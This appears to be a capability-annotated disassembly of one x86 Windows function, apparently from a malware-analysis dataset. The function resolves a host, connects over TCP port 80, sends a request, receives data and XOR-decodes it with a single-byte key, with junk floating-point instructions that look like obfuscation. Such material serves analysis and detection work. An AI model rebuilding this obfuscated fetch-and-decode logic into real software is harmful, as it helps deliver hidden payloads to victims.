Function at 0x4082e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040be90
push 0xffffffffffffffff
push 0x41ddbb
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x424fd0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
fst qword [ebp - 0x48]
xor edx, edx
fldz
xor eax, eax
fst dword [ebp - 0x24]
xor ecx, ecx
fxch st(1)
mov byte [ebp - 4], 1
fst qword [ebp - 0x40]
mov byte [ebp + 0x11bc], al
fxch st(1)
mov word [ebp - 0x14], dx
fstp dword [ebp - 0x1c]
mov word [ebp - 0x2c], ax
fst qword [ebp - 0x34]
mov dword [ebp - 0x38], ebx
fstp qword [ebp - 0x28]
mov word [ebp - 0x14], cx
fld dword [0x422e34]
fsub qword [0x41e838]
fsub qword [0x41e830]
call fcn.0040a9e0
mov esi, dword [ebp + 0x1448]
mov word [ebp - 0x14], ax
fld dword [0x422e34]
fsub qword [0x41e368]
mov eax, esi
lea edx, [eax + 1]
fstp dword [0x422e34]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083c0
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4086b1
xor eax, eax
cmp eax, edi
jg 0x40841b
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408416
fld qword [0x41e828]
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
cmp ecx, edi
jg 0x408419
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
fst qword [0x422df0]
inc ecx
xor ebx, ebx
jmp 0x4083f9
inc eax
jmp 0x4083d6
fstp st(0)
mov ax, word [ebp - 0x14]
movsx ecx, ax
mov dword [ebp - 0x24], ecx
fild dword [ebp - 0x24]
fsub qword [0x424698]
mov dx, word [0x424658]
mov cx, word [ebp - 0x2c]
movsx eax, dx
mov dword [ebp - 0x24], eax
movsx edx, cx
fild dword [ebp - 0x24]
mov dword [ebp - 0x24], edx
fsubp st(1)
fild dword [ebp - 0x24]
fmulp st(1)
call fcn.0040a9e0
mov word [ebp - 0x2c], ax
inc word [0x424658]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408468
mov edi, dword [ebp - 0x20]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
jmp 0x408480
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408480
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x4089be
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084a0
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4084b0
fld qword [0x423fb8]
mov ecx, eax
fmul qword [0x41e820]
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
rep movsb byte es:[edi], byte [esi]
fstp qword [0x423fb8]
push 0x423ab8
call fcn.00401a80
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084f0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407980
fldz
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x20], ebx
fstp dword [ebp - 0x14]
push esi
mov byte [esi + 4], al
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
fstp qword [0x423b00]
fld dword [ebp - 0x14]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [ebp - 0x14]
fld dword [ebp - 0x1c]
fsub qword [0x41e818]
fadd qword [ebp - 0x40]
fstp qword [ebp - 0x40]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408560
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00407fa0
movzx edx, word [0x4221a0]
imul edx, edx, 0xb4884b05
push 0x32
push 0x423ca8
mov word [0x4221a0], dx
call fcn.00401a80
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085a4
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407fa0
fldz
push 0x32
push ebx
mov dword [ebp - 0x20], ebx
fstp dword [ebp - 0x14]
push esi
call fcn.0040af50
push esi
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
fstp qword [0x423b00]
fld dword [ebp - 0x14]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [ebp - 0x14]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408603
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00407fa0
push 5
push 0x423c34
call fcn.00401a80
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408633
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407fa0
fldz
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x20], ebx
fstp dword [ebp - 0x14]
push esi
mov byte [esi + 4], al
call fcn.0040afca
fld qword [0x423b00]
fsub qword [0x41e368]
add esp, 4
lea ecx, [ebp]
push ecx
fstp qword [0x423b00]
push 0x202
fld dword [ebp - 0x14]
fld qword [0x423b00]
fsub qword [0x41e3e0]
fsubp st(1)
fstp dword [ebp - 0x14]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4086d6
cmp dword [ebp + 0x1b8], 0x10
jb 0x4086b1
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040a56a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b058
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
movzx eax, word [0x423fc8]
push 6
push 1
add eax, 0x2c871b39
push 2
mov word [0x423fc8], ax
call sub.WS2_32.dll_socket
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, 0xffffffff
jne 0x408723
call sub.WS2_32.dll_WSACleanup
fld qword [ebp - 0x34]
fsubr qword [0x41e810]
fmul qword [ebp - 0x34]
fstp qword [ebp - 0x34]
cmp dword [ebp + 0x1b8], 0x10
jb 0x4086b1
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x4086a9
cmp dword [ebp + 0x1458], ebx
je 0x408744
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push edi
call sub.WS2_32.dll_setsockopt
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
je 0x408711
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov esi, 0x10
push esi
lea eax, [ebp + 0x190]
push eax
push edi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x4087aa
cmp dword [ebp + 0x1b8], esi
jmp 0x408718
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], esi
jae 0x4087be
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push edi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x4087e0
cmp dword [ebp + 0x1b8], esi
jmp 0x4089c5
fld dword [ebp - 0x1c]
fadd qword [0x41e808]
call fcn.0040a9e0
mov ecx, dword [ebp - 0x18]
mov word [ebp - 0x14], ax
fld dword [ebp - 0x1c]
fadd qword [0x41e368]
push ebx
push 0x41e800
fstp dword [ebp - 0x1c]
call fcn.00407980
movzx ecx, word [ebp - 0x14]
or esi, 0xffffffff
or ebx, esi
imul ecx, ecx, 0x9a6128b1
mov word [ebp - 0x14], cx
jmp 0x408824
mov edi, dword [ebp - 0x24]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push edi
call sub.WS2_32.dll_recv
mov edi, dword [ebp - 0x18]
test eax, eax
jle 0x408960
push eax
lea eax, [ebp + 0x1bc]
push eax
mov ecx, edi
call fcn.00407fa0
movzx ecx, word [ebp - 0x2c]
movsx edx, cx
movzx ecx, word [0x4221ec]
mov eax, 0x3658189a
sub eax, edx
movsx edx, cx
sub eax, edx
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fstp qword [0x423f38]
dec dword [ebp - 0x2c]
test esi, esi
jge 0x408920
add dword [0x422de8], 0xf1d51e0d
push 5
push 0x423c34
call fcn.00401a80
add esp, 8
mov edi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088a1
mov ecx, dword [ebp - 0x18]
sub eax, edx
push eax
push 0
push edi
call fcn.00404420
fld qword [ebp - 0x48]
fsub qword [0x41e7f8]
push edi
push 5
mov esi, eax
fstp qword [ebp - 0x48]
call fcn.00401df0
add esp, 8
test esi, esi
jl 0x40891d
mov ebx, dword [ebp - 0x18]
push ebx
add esi, 4
call fcn.00405150
add esp, 4
mov dword [ebp - 0x1c], eax
test eax, eax
jge 0x408926
push 0xb
push 0x424038
call fcn.00401a80
add esp, 8
mov edi, eax
push 0
push edi
mov ecx, ebx
call fcn.00404f70
push edi
push 0xb
mov ebx, eax
call fcn.00401df0
mov edi, dword [ebp - 0x18]
add esp, 8
test ebx, ebx
jge 0x408960
mov ebx, dword [ebp - 0x1c]
jmp 0x408920
mov edi, dword [ebp - 0x18]
test ebx, ebx
jl 0x408935
jmp 0x40892c
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x18]
mov eax, dword [edi + 0x14]
sub eax, esi
cmp eax, ebx
jae 0x408960
cmp dword [ebp + 0x1458], 0
je 0x408821
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x14], 0x4000
jb 0x408821
fld qword [ebp - 0x34]
mov edi, eax
fsub qword [0x41e7f0]
fstp qword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x24]
imul ecx, ecx, 0x88775c87
push edx
mov dword [ebp - 0x38], ecx
call fcn.0040a2b8
call sub.WS2_32.dll_WSACleanup
test esi, esi
jl 0x408988
push esi
push 0
mov ecx, edi
call fcn.00404ee0
mov dl, byte [ebp + 0x1454]
test dl, dl
je 0x4089be
fld dword [0x41e7e8]
xor eax, eax
fstp dword [ebp - 0x24]
lea ecx, [ecx]
cmp eax, dword [edi + 0x14]
jae 0x4089be
cmp dword [edi + 0x18], 0x10
jb 0x4089b4
mov ecx, dword [edi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x4089a0
xor byte [edi + eax + 4], dl
lea ecx, [edi + 4]
inc eax
jmp 0x4089a0
cmp dword [ebp + 0x1b8], 0x10
jb 0x4086b1
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x4086a9